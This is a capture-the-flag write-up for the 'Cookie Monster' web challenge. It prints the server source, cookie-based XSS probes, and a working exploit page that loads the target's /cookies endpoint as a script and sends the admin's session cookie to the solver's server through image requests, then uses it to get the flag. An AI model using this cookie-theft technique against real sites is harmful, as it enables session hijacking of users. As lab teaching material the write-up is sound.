# ▼▼▼Cookie Monstor(Web:170pts、solved 18/1374=1.3%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
```Cookie MonsterWeb1708My friend sent me this monster of a website - maybe you can figure out what it's doing? I heard the admin here is slightly more cooperative than the other one, though not by much.
Author: lamchcl```
---
## 【source code】
```const bodyParser = require('body-parser')const cookieParser = require('cookie-parser');const express = require('express')const puppeteer = require('puppeteer')const crypto = require('crypto')const fs = require('fs')
const admin_id = "admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")let flag = ""fs.readFile('flag.txt', 'utf8', function(err, data) {      if (err) throw err;    flag = data});const dom = "cookiemonster.2019.chall.actf.co"let user_num = 0const thecookie = {	name: 'id',	value: admin_id,	domain: dom,};
async function visit (url) {	try{		const browser = await puppeteer.launch({			args: ['--no-sandbox']		})		var page = await browser.newPage()		await page.setCookie(thecookie)		await page.setCookie({name: "user_num", value: "0", domain: dom})		await page.goto(url)		await page.close()		await browser.close()	}catch(e){}}
const app = express()
app.use(cookieParser())app.use(express.json());app.use(express.urlencoded({ extended: true }));
app.use('/style.css', express.static('style.css'));
app.use((req, res, next) => {	var cookie = req.cookies?req.cookies.id:undefined	if(cookie === undefined){		cookie = "user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")		res.cookie('id',cookie,{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom}) req.cookies.id=cookie		user_num+=1		res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})		req.cookies.user_num=user_num.toString();	}	if(cookie === admin_id){		res.locals.flag = true;	}else{		res.locals.flag = false;	}	next()})
app.post('/complain', (req, res) => {	visit(req.body.url);	res.send("<link rel='stylesheet' type='text/css' href='style.css'>okay")})
app.get('/complain', (req, res) => {	res.send("<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>give me a url describing the problem and i will probably check it:<input name='url'><input type='submit'></form>")})
give me a url describing the problem and i will probably check it:
<input name='url'>
<input type='submit'>
app.get('/cookies', (req, res) => {	res.end(Object.values(req.cookies).join(" "))})
app.get('/getflag', (req, res) => {	res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag: "+(res.locals.flag?flag:"currently unavailable"))})
app.get('/', (req, res) => {	res.send("<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them here\n")})
app.use((err, req, res, next) => {	res.status(500).send('error')})
app.listen(3000)```
---
## 【Understanding functions】
```GET / HTTP/1.1Host: cookiemonster.2019.chall.actf.co```
↓
```HTTP/1.1 200 OKContent-Length: 191Content-Type: text/html; charset=utf-8Date: Thu, 25 Apr 2019 00:03:26 GMTEtag: W/"bf-uUw2ZNG/iGHTfl8XyF4W4YghCro"Server: CaddyServer: nginx/1.14.1Set-Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; Max-Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019 00:13:26 GMT; HttpOnlySet-Cookie: user_num=15189; Max-Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019 00:13:26 GMT; HttpOnlyX-Powered-By: ExpressConnection: close
<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them here
```
↓
1.Cookie Setting `id` and `user_num`
2.There are hints ``
---
```GET /complain HTTP/1.1Host: cookiemonster.2019.chall.actf.co```
↓
```<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>give me a url describing the problem and i will probably check it:<input name='url'><input type='submit'></form>```
give me a url describing the problem and i will probably check it:
<input name='url'>
<input type='submit'>
↓
3.URL send function.
---
```POST /complain HTTP/1.1Host: cookiemonster.2019.chall.actf.coContent-Type: application/x-www-form-urlencoded
url=http://my_server/```
↓
```<link rel='stylesheet' type='text/css' href='style.css'>okay```
↓
4. I confirmed that **HeadlessChrome access my_server**.
---
```GET /cookies HTTP/1.1Host: cookiemonster.2019.chall.actf.coConnection: closeCookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189```
↓
```HTTP/1.1 200 OKContent-Length: 55Date: Thu, 25 Apr 2019 00:11:23 GMTServer: CaddyServer: nginx/1.14.1X-Powered-By: ExpressContent-Type: text/plain; charset=utf-8Connection: close
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189```
↓
5. Conetnt-type is `text/plain`, and **a list of cookie values** is displayed
---
```GET /getflag HTTP/1.1Host: cookiemonster.2019.chall.actf.co```
↓
```<link rel='stylesheet' type='text/css' href='style.css'>flag: currently unavailable```
6. Location of **flag**
---
## 【Goal】
The goal is to **let admin access /getflag** and send data to my server.
---
## 【Additional investigation】
### 1. Behavior of /cookies
```GET /cookies HTTP/1.1Host: cookiemonster.2019.chall.actf.coCookie: id=<script>alert(1)</script>; user_num=15189;test=ttttttttttttttt```
↓
```HTTP/1.1 200 OKContent-Length: 47Date: Thu, 25 Apr 2019 00:14:36 GMTServer: CaddyServer: nginx/1.14.1X-Powered-By: ExpressContent-Type: text/html; charset=utf-8
<script>alert(1)</script> 15189 ttttttttttttttt```
↓
```Content-Type: text/html; charset=utf-8
<script>alert(1)</script> 15189 ttttttttttttttt```
↓
Cookie is vulnerable to **XSS**
---
```GET /cookies HTTP/1.1Host: cookiemonster.2019.chall.actf.coCookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189<script>alert(1)</script>;test=<script>alert(2)</script>
```
↓
```HTTP/1.1 200 OKContent-Length: 106Date: Thu, 25 Apr 2019 00:23:03 GMTServer: CaddyServer: nginx/1.14.1X-Powered-By: ExpressContent-Type: text/plain; charset=utf-8
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189<script>alert(1)</script> <script>alert(2)</script>```
↓
It seems to become Content-Type: **text/html** when html is included in the **top of the responce body**.
---
Then try sending a cookie with **a numeric name**.
↓
```GET /cookies HTTP/1.1Host: cookiemonster.2019.chall.actf.coCookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189;1=<script>alert(2)</script>```
↓
```HTTP/1.1 200 OKContent-Length: 81Date: Thu, 25 Apr 2019 00:23:36 GMTServer: CaddyServer: nginx/1.14.1X-Powered-By: ExpressContent-Type: text/html; charset=utf-8
<script>alert(2)</script> user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189```
↓
It was confirmed that when the cookie name is made a number and html is inserted, it is reflected at the top of the response and becomes **text/html**.
It seems that Cookie Monstor gives Cookie and XSS **using DomValidater's XSS**.
However, this behavior was not used as a result...
---
## 【Consider an attack scenario】
### Method 1. Cookie Monstor
Perhaps this method is an assumed solution. 
But I did not solve this way
---
### Method 2. Cookie reading by JSONP
I solved this way.
Below is the exploit procedure
---
## 【exploit】
GET `/cookies` response is **normal syntax as javascript.**
```user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189```
↓
I thought it would be possible to load data like JSONP.And get the parameter list in javascript in `/cookies`. ---
I prepared the following script on my server(https://my_server/) and made admin access
↓
```<script src="https://cookiemonster.2019.chall.actf.co/cookies"></script><script>test=11;
a=(function(){  var propsOrig = [];  var propsGlobal = {};  var win = window.open();  for(var i in win){    propsOrig.push(i);  }  win.close();  for(var i in window){    if(!propsOrig.includes(i)){      propsGlobal[i] = window[i]    }  }  return propsGlobal;})()for(var item in a) {    (new Image).src="https://my_server/"+item;}</script>```
↓
The next three accesses came to my server.
```GET /itemGET /admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgMGET /test```
↓
Get admin Cookie `admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=`
---
I accessed `/getflag` with admin Cookie.
```GET /getflag HTTP/1.1Host: cookiemonster.2019.chall.actf.coCookie: id=admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=;```
↓
<link rel='stylesheet' type='text/css' href='style.css'>flag: actf{defund_is_the_real_cookie_monster}
↓
`actf{defund_is_the_real_cookie_monster}`
---
This solution may be the unintended solution of the questioner.